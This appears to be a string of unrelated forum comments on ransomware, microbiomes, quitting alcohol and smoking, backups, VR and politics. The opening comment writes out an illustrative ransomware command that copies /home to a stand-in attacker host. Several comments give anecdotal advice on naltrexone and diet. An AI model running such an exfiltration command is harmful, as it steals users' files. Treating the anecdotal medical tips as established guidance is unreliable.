Ransomware typically does the rough equivalent of:

rsync -az /home baddie@remote-files.example.com:/your-files/
encrypt-all-files /home

If such a thing were to run on the host hypervisor, it would be reading an encrypted virtual disk file, not its unencrypted contents (since it would be encrypted at rest on the host).

I suppose it would be possible for the ransomware to be aware of Virtualbox and somehow manipulate Virtualbox's management plane to get access to unencrypted disk data, but unless you're the victim of a targeted ransomware attack, that's pretty unlikely.
There will never be an end to this bullshit.

If the patent system sought to promote innovation, rather than stiffle it, we'd stop using "first to file" and move to "all to independently derive".

Yes, independent derivation may still end up in court - but there's at least reasonable standards of evidence either way.

I've been making wine at home in California for the past few years. Finding grapes on Craigslist/via friends, picking them myself and fermenting/storing/bottling wine in my basement. It's great fun, and tastes pretty good too! I wrote up a guide for anyone who'd like to try here - https://wine.singleton.io/

When you can't smoke, if you stand and stare out of the window on your own, you're an antisocial, friendless idiot. If you stand and stare out of the window on your own with a cigarette, you're a philosopher. - RORY SUTHERLAND

So I think addiction is about meaning. Addiction activities are always meaningful activities. May not be pleasurable activities but always meaningful. To quit a meaningful activity, you need to replace with another meaningful activity. like exercise, help someone, do something good..whatever is meaningful to you.
>> There was a study published in Nature Genetics[0] showing big changes in oral microbiota corresponding with Neolithic and Industrial dietary change.

A different diet leads to a different microbiome.

I think mammals' teeth last long enough for a natural life. Of course we want a longer and better life.

For instance, all my dogs by age 13 yo have lost half their teeth to rot. We are terrible owners who don't take care of their dental hygiene, which I suppose makes it a more "natural" evolution. Old horses also lose their teeth, too.
It appears that probiotic foods are beneficial in isolation, but my recent reading (no singular source) indicates that it’s far more effective when combined with a varied and high fibre diet.

It seems like you can do great without the probiotics too, and only ensure you have a good quantity and diversity of high fibre foods in your diet. This seems to be the cornerstone of enriching and sustaining gut biodiversity.

A lot of people think they have the fibre part down, but the science suggests most of us are nowhere near adequate intake. Around 40 grams seems like the minimum, but if you can go higher, there doesn’t appear to be a disadvantage, but there could be more benefits.

A key factor here is that fibre from whole foods is far more beneficial to the gut flora. If it’s highly processed, it’ll move through the gut too quickly. It’ll help you move stool in the case of something like metamucil, but your gut won’t derive much benefit from it otherwise.

Off the top of my head, some excellent gut foods are:

- whole grains with the hull intact (oats are great)

- all legumes

- avocados

- berries

- many nuts and seeds, but especially chia, flax, sunflower, pistachio, walnut, coconut

I land somewhere around 65 grams per day, but I’d like to do better. In the USA, the average is around 16 grams. It’s nowhere near enough to support proper intestinal motility and robust, diverse flora.

Definitely eat probiotic foods, but include as many whole, high fibre foods as you can too.

All or nothing approach to quitting leads to quitting completely or going back to the same state, When I quit smoking I used to quit for a week then a month, later I quit for a long time and I did smoke once after a year, I did not treat it as a failure and just a break in my quitting, have not smoked since, I may some time if there is a special occasion ,but I don't think that would get me back to regular smoking. I have seen some quit and then once they smoke or have a drink resign thinking their attempt to quit has failed and then going back to the habit.

You may have breaks in your quitting , but that's ok get back to the quitting state as soon as possible.
There isn't any other OS that you'd want to run as a daily driver on that hardware platform atm. Linux support is still immature/incomplete, and IIRC Windows support is completely absent. (Some of the people working on the Linuc port are also porting to some of the free Unices, too, which I assume are in a similarly incomplete state.)
Cheap OpenGL hardware, from what I recall.
Given that, it seems that hardware vendors have not wanted to invest in the scheduler / compiler to route outputs of one core to the inputs another when it would be useful such as lots of branching like speculative execution.
This sounds similar to how not all biofilms are cariogenic and can actually play a lot of beneficial roles. We have a lot of evidence[0] that in the past we had a much more commensal microbiome but the shift to a more cariogenic one was actually rather recent. I feel like it's very likely that our oral microbiomes simply haven't had enough time to adapt to the massive shift in modern lifestyles and diet but used to play a mostly beneficial role in our health, much like our gut microbiome did. I mean just look at Google Pics of the teeth of wild monkeys and apes. Pearly whites! No dentist needed

Excellent essay. Bravo
> Not to put a fine point on it, but if you want to know what it was like back then, just say something like "I don't think we should finance the war in Ukraine. What is happening in Eastern Europe isn't our problem. Neutrality is the best policy" and see the rhetoric you'll hear

What's happening now is not remotely comparable to what the US did in response to 9/11 - if anything, it's the opposite (we are defending a country from being invaded for BS reasons vs invading another country for BS reasons)
Life changes. People can often grow in their careers, and also grow apart. And even if you work in FAANG, self-respecting spouses will demur or reevaluate the relationship if you go asking for a prenup. This kind of thing is almost unheard of for people who work for wages and do not have an agent, legal team or other type of representation already.

Not exactly uncommon for languages that feature reflection.

Heck the win32 api allows you to hook and intercept function calls. So do plenty of other native C and C++ APIs.

It is a powerful feature that allows for a lot of functionality, including extending out libraries and fixing bugs in SDKs that you'd otherwise have to wait an entire release cycle for, or that may never get fixed. (And release cycles used to be years long!)

There's actually a lot of evidence that you're right. But only in places where flouride toothpaste use is high. It seems it mostly makes a difference in areas where use of flouride toothpaste isn't widespread. In areas where it is, the risk of dental flourosis (though a relatively small risk) seems to outweigh the potential benefits
Aren't environmentalists ultimately motivated by their interest in preventing some sort humanitarian catastrophe? We don't want to make the earth uninhabitable as it would result in the death and suffering of millions of people. Nuclear war would also result in death and suffering. There seems to be some common ground here.

Both issues require a change in public opinion.
There is something called CORE which may or may not work for you. It worked for me. It applies to a bunch of addictive things.

C = Commit. You make a mental commitment that you want to change something - it really matters. It’s a big deal, worth your effort and, well, commitment.
O = Objectify. You notice the inner voice that says, let’s have a drink/donut/videogame etc. And you separate it from the “core you.” It’s just one more voice at the table.
R = Respond. Now that you’ve isolated that “addiction voice,” you come up with an answer to it. Oh, we NEVER do midnight snacks! No, we NEVER drink alone. And you use these answers when the “voice” makes itself heard. It’s outvoted.
E = Enjoy. Learn to breathe and take in your improved life. Let yourself feel great. This helps the addiction voice dwindle away until it’s inaudible.

Again, your mileage may vary, but especially for people turned off by the cult aspects of some of the other programs, CORE may be worth a try. Best of luck to you.

> Any tips on cutting out something completely and how to get out of just hating yourself when you fail?

I'd imagine it's the same as say running every day. I'd you miss a day then well that happens sometimes so just pick yourself up and get going again.

Specific to wanting to not do something, nature abhors a vacuum. Don't just cut the thing out, but find something to replace it with. Like I tend to snack less if I have a giant glass of water ready to hand.
The whole scheme could use some improvements, tar.gz feels like a bad tool here.

1. If you can, use btrfs/zfs/lvm snapshot and skip the waiting completely. There's no point in duplication.

2. If you do want the copies, use something that can do incremental backup instead. For example Borg can both compress and deduplicate and on top of that will only copy the changes, not the whole directory.

3. (optional) If you're into running custom latest software, you can save some time by using nixpkgs instead, which will also ensure you don't risk collisions in /usr/local. (takes some upfront time investment though)
Definitely look up the Sinclair Method. The idea is to always take naltrexone an hour before you drink. Also you only take naltrexone when you drink (this is key). Then just drink as normal. The naltrexone blocks the alcohol buzz, and you learn to not love it anymore over a period of months.
I find it ironic that the lists focused so much in communication, and yet it had me confused and lost (ie: It failed to communicate to me what this list is about).

Communication is hard.

I've cut back by switching to non-alcohol beer.

I've found that I enjoy the taste of beer, but I don't enjoy how shitty alcohol makes me feel. NA beer tends to solve that for me. Lots of good options coming out.

* Just the Hazy by Sam Adams is top tier.

* Athletic brewing is solely NA beer - lots of different varieties.

* Heineken 0.0 is great

* O'Douls amber is surprisingly passable as well

I suspect the options will get even better over time. It sounds like Gen Z aren't big drinkers and alcohol companies are responding to that with better NA options.

----

Lastly, I've discovered that I have an issue with wheat and/or gluten. Impact varies across beers (based on their mash), but it became really obvious that some beers would make me feel absolutely terrible.

Anyone else find it weird they used a ML classifier to mask peoples' identities? It doesn't do a good job at constantly masking any of the bystanders. Which their identity is probably more important than the researchers?

I totally thought this was going to be about something completely different.
But I don't suspect these kinds of methods to work in the long run. Honestly maybe someone can convince me otherwise. These kinds of attacks are always going to be extremely difficult. Your attack (the sweatshirt) changes as you move and walk through different lightings, etc. It just doesn't seem like a good direction for real protection. Plus, a model can always be tuned to correct for the attack. It just seems like the research is more about robustness which it feels like this is just flashy presentation. I can get that tbh, but these always seem like they are being presented as ways people can attack these systems in the real world (I don't buy this).

So privacy ML people, can you explain to a CV researcher why this is a useful direction?
Darkstar is a traditional name for computers running Slackware.

Shameless plug: My gorgeous Darkstar is an antique server on which I sell traditional shell accounts from which one can make "metal" VPSes from the command line. Occasionally somebody who knows 10X or 100X or 1,000X more than I do comes along and becomes a customer. If you are interested, please check metalvps.com. Also, if you like Xv6, please check metalvps.com/Xv6.
Check out the Sinclair Method, which is basically taking Naltrexone before you drink. Also check out the book "The Cure for Alcoholism: The Medically Proven Way to Eliminate Alcohol Addiction" by Eskapa.

I used this method, along with keeping a log of drinks consumed, to eventually quite drinking over the course of a year. I went from having anywhere from 3-8 drinks a night, every night, to eventually stopping completely. In turn I've been sober 6 years now.

I found keeping the drink log useful both for charting my progress, and also just forcing me to be honest with myself about what I did and did not drink. It's too easy to skew ones memory in favor of having less of a problem if you feel like it.
It's unlikely to come to that, but that's the underlying foundation of why the US can't (and doesn't) ignore the EU with complete impunity.
On the off chance that this isn't just an academic exercise in moral posturing, and you in fact do progressivism or labor advocacy rather than just identify with it, and happen to actually know any of these "people of color", please do encourage them to apply for any of the numerous job postings which have hitherto rotted on the vine for a year or more. Even the People of Influence - to a man Trumpian troglodytes though they are - seem to me generally willing to take a shot at this point.

By the way, these postings most always include the hourly pay, which everyone earns, including the Ukrainian refugees and guest workers we have at our plant atm.
Agriculture is an incredibly broad word that includes both crop and animal based production. Feel free to check the dictionary of your choice (webster, oed, etc), an academic definitions paper like [1], or even the relevant wiki page. You're defining cultivation instead.

And not to belabor the point, but the Navajo and the Apache also engaged in crop cultivation. It was simply less important for them in the 19th century, so it's not what I mentioned first.

I've explored places flying around in Google Earth VR that I never would have otherwise. I partially based my decision on where to move through exploring on it.

VRchat is weird but feels like real social spaces. I think it helped me overcome some social anxiety, and it was nice to have some analogue of "going out" when quarantined. I never got that into it, but I met people on there who made friends in VR that they later met IRL.

There are a few art/design/sculpting apps that work well in VR. Blender has a VR add-on. Those and molecule builder and 3D function graphing apps give a better visualization and are arguably more intuitive than working with 3D objects in a 2D render.

Not all apps require that much energy since they can be run on a standalone battery powered headset, and apps that require a PC would use more energy if rendered to a 4k monitor.

> long enough for a natural life

What does this mean though? Ancient lifespans were actually quite close to modern American lifespans. They likely had higher childbirth mortalities so the average may have been low but the modal lifespan was around 70 years[0] which is right around in line with the modern American. Lifespans were significantly shorter in medieval Europe but that was probably the lowest it's ever gotten and that was a relatively short period in human (or at least Western) history. Yet we still find fossil evidence that early hominins and early humans generally had great dental health.[1] Even the Romans, peasant and nobility included, did.[2]

Interesting, I realized after reading your comment that I had mentally parsed the above comment as meaning "85% of users have every feature they need" (and presumably some non-zero but decreasing percentage of the features the others need), but looking back I see that's not how it's phrased. It does make me think more about how "40% of features" versus "85% of features" should be interpreted though. Even assuming that there's agreement on what counts as a single feature versus multiple related but separate features (which isn't a guarantee), should every feature be weighted equally? I could see it being more reasonable to weight features by how necessary they are or by how much they're used; is the ability to do something very basic that almost everyone needs like summing a range the same "percent" as something more esoteric (I'm not a spreadsheet power user myself so I'm not sure what would be a good example here, but maybe calculating a regression of some obscure function class)?
The government shut down businesses so it makes sense to compensate them. The government didn't force people to go the college or take out loans to pay for it.
I spent about 25 years in the bar business and the metric is pretty simple. If you and/or others think you have a problem with alcohol, you probably have a problem with alcohol. So best not to drink if you can manage it. Not everyone is born with a compatible chemistry or a hollow leg. Some signs are blackouts, frequent hangovers, significant changes to personality when drinking and the word "enough" ceasing to have any meaning...
The problem is, the poor can only afford the inexpensive goods, so they are "cheap" (i.e. they make cost-inefficient purchases) through lack of choice.
Don't hate yourself. If you can go a few weeks at a time that's good. Better than me. You are certainly better off for that. Blowing off is not all bad. Maybe feeling shit for a couple of days is a price worth paying for decompressing once a month? I'm not advocating that I would love to stop but at the same time... I also like it and it's part of my culture. Do your best, limit yourself, feel good for your achievements not bad about the failures
I can, off the top of my head, think of seven trillion reasons why.
I started doing Brazilian Jiu Jitsu. As a result, I drink way less, I'm in a better shape, and can defend myself. I know that drinking will have a negative impact on my performance and that is enough to keep me away from booze. I've also noticed that refusing to drink in a social setting is way easier, both for me and the social group I'm in.

It doesn't have to be Jiu Jitsu, it can be exercising in general.

Hope it works!

My wife doesn’t drink, very few of my friends drink, so it was easy for me to quit day to day.

When I find myself in a situation where everyone is drinking, like at a meet up or a conference or something, it’s still hard to say no though.

For me the social pull to drink has always been pretty strong.
By being anti-social enough to be basically immune to peer pressure, and then eventually just finding drunk people very boring to be around with so I never got into it. I've drank like twice in three decades.

Hmm, I guess I never started it now that I think of it, lol.
